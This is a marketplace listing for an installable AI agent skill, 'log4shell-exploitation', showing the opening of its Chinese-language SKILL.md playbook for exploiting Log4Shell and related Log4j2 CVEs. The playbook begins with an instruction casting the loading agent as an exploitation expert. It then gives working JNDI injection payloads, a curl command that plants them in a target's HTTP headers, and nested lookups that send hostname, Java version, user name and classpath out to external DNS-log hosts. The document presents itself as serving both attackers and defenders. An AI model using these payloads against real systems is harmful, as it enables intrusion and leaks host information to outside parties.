log4shell-exploitation
Log4Shell(CVE-2021-44228)及 Log4j2 全漏洞家族深度利用专业技能:JNDI Lookup 全链路原理与利用、全变体家族(44228/45046/45105/44832/4104)、现代 JDK 高版本绕过矩阵(8u191/17/21+)、Lookup…
Skill by langbyyi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-log4shell-exploitation
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: devops, security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/log4shell-exploitation
What's inside
- Skill name
log4shell-exploitation- Description
- Log4Shell(CVE-2021-44228)及 Log4j2 全漏洞家族深度利用专业技能:JNDI Lookup 全链路原理与利用、全变体家族(44228/45046/45105/44832/4104)、现代 JDK 高版本绕过矩阵(8u191/17/21+)、Lookup 扩展攻击面(env/sys/ctx/k8s 信息泄露)、WAF 绕过全技术、不出网利用、供应链场景、Log4Shell→RCE→内网渗透完整链、带内/带外检测方法论、AI 大模型辅助攻防
- License
- Apache-2.0
- Metadata
- version: 3.0.0
- Instructions
- 1,166 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- body: 1166 lines (spec recommends under 500)
Files (1)
- SKILL.md
SKILL.md (first lines)
# Log4Shell(CVE-2021-44228)深度利用技能
> **AI LOAD INSTRUCTION**: Log4Shell(CVE-2021-44228)全链路利用专家打法。按已知前提:JNDI 注入原理(细节见 jndi-injection 细分包)。聚焦触发面发现→JDK 版本判定→高版本绕过矩阵→不出网利用→变体 WAF 对抗。
## 概述
Log4Shell 是 Apache Log4j2 日志组件中被低估的"消息模板引擎"所引入的远程代码执行漏洞(CVSS 10.0),影响 Log4j 2.0-beta9 至 2.14.1,被公认为**影响面最广的 Java 漏洞**。2021 年底爆发后,攻击者数小时内便将其武器化,蠕虫、挖矿木马、勒索软件蜂拥而至,CISA/FBI/NSA 联合发出紧急通告。时至今日(2026 年),仍有约 3% 的存量 Java 系统因遗留依赖、不完整修复或供应链间接引入而持续暴露。
本技能站在资深攻防专家视角,系统化覆盖**漏洞探测→JNDI 利用→全变体家族→JDK 版本绕过→Lookup 攻击面→不出网利用→WAF 绕过→供应链排查→RCE→内网渗透→检测方法论→AI 辅助攻防**完整攻击链,既是红队实战手册,也是蓝队检测与修复的对照参考。
### 核心概念
- **Message Lookup(消息 Lookup)**:Log4j2 在格式化日志消息时,对 `${...}` 语法做**递归求值**。`${jndi:...}` 只是其中一种内置 Lookup,全部内置 Lookup 见第五章
- **JNDI(Java Naming and Directory Interface)**:Java 的命名/目录服务抽象层,支持 LDAP/RMI/DNS/CORBA/IIOP 等协议。Log4j2 的 `JndiLookup` 把用户可控字符串直接交给 `InitialContext.lookup()`,导致**不可信日志内容驱动 JNDI 解析**
- **Reference(引用)**:LDAP/RMI 服务器可返回一个 Reference 对象,指向远程 codebase 上的恶意类;旧版 JDK 会无条件下载并实例化 → RCE
- **PatternLayout 与配置 Lookup**:日志输出模板(如 `%X{loginId}`、`${ctx:loginId}`)中的 Lookup 与消息 Lookup 是**两条独立求值分支**,CVE-2021-45046/45105 正源于此
- **信任开关**:`com.sun.jndi.ldap.object.trustURLCodebase`、`com.sun.jndi.rmi.object.trustURLCodebase`、`com.sun.jndi.ldap.object.trustSerialData` 三个 JVM 属性决定 JNDI 攻击能否成功,详见第四章绕过矩阵
- **关键教训**:任何**用户可控数据**进入**任何日志记录点**(哪怕只是 INFO 级、哪怕只记录访问日志)即可能触发。攻击面不是"有没有日志",而是"日志记录了什么"
### 安全演进时间线
| 时间 | 事件 | 说明 |
|------|------|------|
| 2016 | BlackHat 议题公开 JNDI 注入 | 根因先于 Log4Shell 五年被公开 |
| 2021-11-24 | 阿里云安全团队发现并报告 | 漏洞代号 Log4Shell |
| 2021-12-01 | 首次野外利用被观测 | 攻击面快速武器化 |
| 2021-12-05 | Log4j 2.15.0 发布 | 修复**不完整**(仅禁 JNDI 消息 Lookup) |
| 2021-12-09 | PoC 大规模公开 | Checkpoint 观测日均 40 万次攻击 |
| 2021-12-10 | **CVE-2021-45046** 披露 | 2.15.0 绕过:PatternLayout+ctx Lookup 仍可 RCE;2.16.0 修复 |
| 2021-12-14 | **CVE-2021-45105** 披露 | 递归 Lookup 导致 StackOverflowError DoS;2.17.0 修复 |
| 2021-12-15 | **CVE-2021-4104** 披露 | Log4j 1.x JMSAppender 反序列化 RCE,1.x 已 EOL 无补丁 |
| 2021-12-28 | **CVE-2021-44832** 披露 | 2.17.0 的 JDBCAppender 配置反序列化 RCE;2.17.1 修复 |
| 2022+ | 变体武器化持续 | Muhstik/Mirai 僵尸网络、挖矿木马、勒索利用 |
| 2025-2026 | 存量暴露持续 | 遗留系统+隐藏依赖+不完整修复,Scan 工具与 WAF 绕过仍是攻防焦点 |
### 影响范围
- Log4j 2.0-beta9 ≤ version ≤ 2.14.1(CVE-2021-44228 本体)
- Log4j 2.x < 2.16.0(CVE-2021-45046);2.x < 2.17.0(CVE-2021-45105);2.17.0(CVE-2021-44832)
- Log4j 1.x 全版本(CVE-2021-4104,EOL)
- JDK 6u211 / 7u201 / 8u191 / 11.0.1 之前:LDAP+RMI 均可直接利用;更高版本需绕过(见第四章)
## 一、漏洞探测与指纹识别
### 1.1 注入点全集
**所有用户可控输入都是潜在注入点:**
```
# HTTP 层
- URL 路径与查询参数(含 404 记录路径)
- POST Body(form/json/xml/multipart)
- HTTP Headers(User-Agent/X-Forwarded-For/Referer/Cookie/Authorization/X-Api-Version)
- TLS SNI / HTTP 方法名(被访问日志记录)
- 上传文件名/附件名
# 业务层
- 用户名/密码(登录失败日志,经典注入点)
- 搜索关键词(搜索日志)
- API 参数(请求/响应日志)
- 错误消息(异常日志)
- 聊天消息(Minecraft/IM 类)
# 协议层
- SMTP 邮件头(Subject/From/To)
- SIP/VoIP 头
- LDAP 查询参数
- XMPP 消息
- MDC/ThreadContext 输入(配合 ${ctx:} 配置)
# 云原生层
- Pod/容器名、命名空间、标签(k8s lookup 场景)
- 配置中心下发的动态配置
```
### 1.2 DNSLog 带外探测(首选)
**基础探测:**
```
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:rmi://xxxxx.dnslog.cn/exp}
${jndi:dns://xxxxx.dnslog.cn/exp}
${jndi:iiop://xxxxx.dnslog.cn/exp}
# DNS-only 探测是最可靠信号:出站 DNS 通常比 LDAP/RMI 更少被 egress 过滤
${jndi:dns://uid-xxxx.oast.example/x}
```
**每个注入点使用唯一子域名,便于归因到具体字段:**
```bash
curl https://target.example/ \
-H 'User-Agent: ${jndi:ldap://uid-001.dnslog.cn/ua}' \
-H 'Referer: ${jndi:ldap://uid-002.dnslog.cn/ref}' \
-H 'X-Forwarded-For: ${jndi:ldap://uid-003.dnslog.cn/xff}' \
-H 'X-Api-Version: ${jndi:ldap://uid-004.dnslog.cn/api}'
```
### 1.3 嵌套外带与版本指纹
**嵌套探测(绕过简单过滤 + 外带环境信息):**
```
${jndi:ldap://${env:HOSTNAME}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.vendor}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:os.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:user.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${date:yyyy-MM-dd}.xxxxx.dnslog.cn/exp}
```
**版本指纹:**
```
${jndi:ldap://${sys:java.class.path}.dnslog.cn/a}
# 从 ClassPath 识别 log4j 版本:log4j-core-2.14.1.jar → 存在漏洞
# 但注意:若只有 log4j-api 无 log4j-core,则不触发(核心逻辑在 core)
${jndi:ldap://${sys:java.runtime.version}.dnslog.cn}
# 1.8.0_292 → JDK 8u292(需绕过);1.8.0_181 → 可直接利用
```
**错误响应判断:**From langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cors-cross-origin-misconfiguration
langbyyi
CORS misconfiguration testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Sep 9, 2026 (1 month ago)
- Last release
- Oct 16, 2026 (12 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- Version
- 3.0.0
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Cite this page
log4shell-exploitation skill. Agent Mart. https://agentmart.dev/skills/langbyyi-log4shell-exploitation (last updated 2026-10-24)